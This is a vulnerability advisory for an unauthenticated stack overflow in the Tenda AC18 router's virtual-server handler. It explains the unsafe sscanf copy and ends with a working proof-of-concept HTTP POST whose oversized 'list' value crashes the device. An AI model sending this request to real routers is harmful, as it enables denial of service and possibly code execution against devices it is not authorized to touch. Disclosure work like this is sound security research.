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Tenda AC18 Unauthorized stack overflow vulnerability

1. Affected version:

V15.03.05.05_multi and V15.03.05.19_multi

2. Firmware download address

https://www.tenda.com.cn/download/detail-2683.html

3. Vulnerability details

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In function formSetVirtualSer, the content obtained by the program from the list parameter is passed to v5, and then calls sub_76510 function, let's follow up and check.

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At this time, the position of a2 parameter in the corresponding function.

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After that, a2 is assigned to v5, and then the matched content in v5 is directly formatted into the stack of v10, v11, v12 and v9 through the function sscanf through regular expression. There is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

4. Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1.Use the fat simulation firmware V15.03.05.19_multi

2.Attack with the following overflow POC attacks

```
POST /goform/SetVirtualServerCfg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 3948
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/virtual_server.html?random=0.7408089369037358&
Cookie:password=0d403f6ad9aea37a98da9255140dbf6egaacvb

list=192.168.0.125,21,25,1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

This PoC can result in a Dos.